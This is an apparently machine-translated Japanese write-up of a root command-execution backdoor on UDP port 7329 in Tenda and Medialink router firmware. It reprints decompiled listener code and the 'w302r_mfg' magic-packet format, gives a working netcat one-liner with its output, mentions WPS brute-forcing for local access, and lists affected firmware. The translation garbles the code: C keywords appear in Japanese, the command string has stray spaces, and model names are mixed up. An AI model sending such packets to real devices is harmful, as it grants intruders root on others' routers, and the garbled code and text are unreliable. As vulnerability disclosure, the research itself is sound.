次のD-Linkの脆弱性:TendaおよびMedialinkワイヤレスルーターで検出されたバックドア

D-Linkが製品にバックドアを残している唯一のサプライヤであるとは思わないように、もう1つ、 Tendaです。





Tenda W302Rワイヤレスルーターの最新のファームウェアを取得した後、Craig Heffnerは/ bin / httpdを調べることにしました。これはGoAheadのWebサーバーであることが判明しました。

画像



しかし、Tendaには修正されたサーバーがあります。 HTTP受信ループに入る直前に、InitMfgTaskのメインコールは、MfgThread関数を個別のスレッドとして生成します。

画像



最初のMfgThreadはUDPソケットを作成し、ポート7329でリッスンします。

画像



次に、ストリームはrecvfromループに入り、ソケットから128バイトを読み取ります。 14バイト長のすべての受信UDPパケットをリッスンします。

画像



次に、受信したUDPパケットは次のコードで処理されます。

画像



同じCコードの例:

 memset(rx_magic_string、0、0x80);
 memset(command_byte、0、0x80);
 memset(command_arg、0、0x80);

 memcpy(rx_magic_string、rx_buf、9);
 command_byte [0] = rx_buf [11];
 memcpy(command_arg、rx_buf + 12、rx_size-12);

 //マジックストリングが一致しない場合、このパケットの処理を停止し、別のパケットを待つ
 if(strcmp(rx_magic_string、 "w302r_mfg")!= 0)goto outer_receive_loop; 




ソケットは、次の構造を持つパケットを予期していることがわかります。



  struct command_packet_t
 {
     char magic [10];  // 9バイトのマジックストリング( "w302r_mfg")、およびNULL終了バイト
     char command_byte;
     char command_arg [117];
 }; 




受信パケットが「w302r_mfg」行で始まる場合、コードは指定されたバイトの3つのASCII文字(「1」、「x」、「e」)のコマンドを比較します。

画像



簡単にするために、Cコードの例:

 スイッチ(command_byte)
 {
    ケース 'e':
         strcpy(tx_buf、 "w302r_mfg");
         tx_size = 9;
        休憩;
    ケース '1':
         if(strstr(command_arg、 "iwpriv")!= NULL)
             tx_size = call_shell(command_arg、tx_buf、0x800);
        他に
             strcpy(tx_buf、 "000000");
             tx_size = strlen(tx_buf);
        休憩;
    ケース 'x':
         tx_size = call_shell(command_arg、tx_buf、0x800);
        休憩;
    デフォルト:
         goto outer_receive_loop;
 }

 sendto(client_socket、tx_buf、tx_size、client_sock_addr、16);
 goto outer_receive_loop; 




次の手順は、次のバイトに対応しています。



「E」-ping

'1'-iwprivコマンドを実行できます

'X'-ルートから任意のコマンドを実行できます



「X」がコマンドバイトとして定義されている場合、この文字の後のパケットの残り(上記のコードではいわゆるcommand_arg)はcall_shellに渡され、POPENを介してコマンドが実行されます。

画像



さらに、call_shellはコマンドの出力でtx_bufバッファーを満たします。これは、前のCコードからわかるように、クライアントに送り返されます。



MfgThreadの機能とパッケージ構造がわかっていれば、Netcatを使用してこのバックドアを簡単に再現できます。



  $ echo -ne "w302r_mfg \ x00x / bin / ls" |  nc -u -q 5 192.168.0.1 7329
 drwxr-xr-x 2 0 0 1363 webroot
 drwxr-xr-x 1 0 0 0 var
 drwxr-xr-x 5 0 0 43 usr
 drwxr-xr-x 1 0 0 0 tmp
 drwxr-xr-x 2 0 0 3 sys
 drwxr-xr-x 2 0 0 569 sbin
 dr-xr-xr-x 39 0 0 0 proc
 drwxr-xr-x 2 0 0 3 mnt
 drwxr-xr-x 1 0 0 0メディア
 drwxr-xr-x 4 0 0 821 lib
 lrwxrwxrwx 1 0 0 11 init-> bin / busybox
 drwxr-xr-x 2 0 0 3ホーム
 drwxr-xr-x 7 0 0 154 etc_ro
 drwxr-xr-x 1 0 0 0など
 drwxr-xr-x 1 0 0 0 dev
 drwxr-xr-x 2 1000100574ビン 




このパッケージはローカルネットワークからのみ送信できますが、バックドアはグローバルネットワークからは使用できません。 ただし、WPSがデフォルトで有効になっているワイヤレスネットワークの運用は、ブルートフォース保護されていません。 ReaverProは比較的迅速にWPSブルートフォースをハッキングし、ワイヤレスネットワークへのアクセスを提供しました。

画像



このバックドアは、Tenda W330RやMedialink MWN-WAPR150Nなどの同様のモデルにも存在しますが、T302のW302Rで最初に実装される可能性が最も高いです。 これらはすべて、UDPパケットの文字列「w302r_mfg」に対して脆弱です。



更新:

githubへのリンク: ea.github.io/blog/2013/10/18/tenda-backdoor

脆弱性は次のファームウェアの影響を受けます。



301r_v3.1.192_en.bin

W311r_W268R_H1_V3.3.6b_ost_staticR.bin

302r_v3.1.192_en.bin

V3.1.201d_W301R_2010_0709.bin

W368R_H3_V3.3.6h_EN_spi.bin

V3.1.201d_W302R_2010_0709.bin

3gr_H2_V3.3.0y_multi_02.bin

w368r_H1_V3.3.6l_EN.bin

U_W330R_V3.1.201d_tenda_en.bin

W368r_H1_V3.3.6b_ost_staticR.bin

3g611r_en_0607.bin.bin

U_W311R_W268R_H3_V3.3.6h_EN_spi.bin

U_3G611R_H2_V3.3.1e_MULTI_02.bin

US_W268RRA__H3_V3.3.6h_EN_SPI.bin

US_W311RRA__H3_V3.3.6h_EN_SPI.bin

w1500a_kfw_V1.0.1.22_en_svn6227.bin

U150M_V3.32.12_EN.bin

U300M_V3.32.12_EN.bin

U_W302RRA_V3.1.201d_EN.bin

US_N60BRV1_N60_V1.0.0.15_EN.bin

US_N6BRV1_N6_V2.0.0.2_EN.bin

U_W150M_EN_V3.33.13_SPI_EN.bin

U_W300M_EN_V3.33.13_SPI_EN.bin

U_W330R_V3.1.201f_en_onWISP.bin

W330R_V3.1.201d_EN.bin

W311R_H1_V3.3.5o.bin

w311r_H1_V3.3.5n_en.bin

US_N60BRV1_N60_V1.0.0.16_EN.bin

US_N80_W568Rbr_V1.0.1.8(4428)_en_TD.bin

W311r_H1_V3.3.6b.bin

U268R_H1_V3.3.6d_EN.bin

U311R_H1_V3.3.6d_EN.bin

U150M_RT_EN_V3.32.11.bin

U300M_RT_EN_V3.32.11.bin



All Articles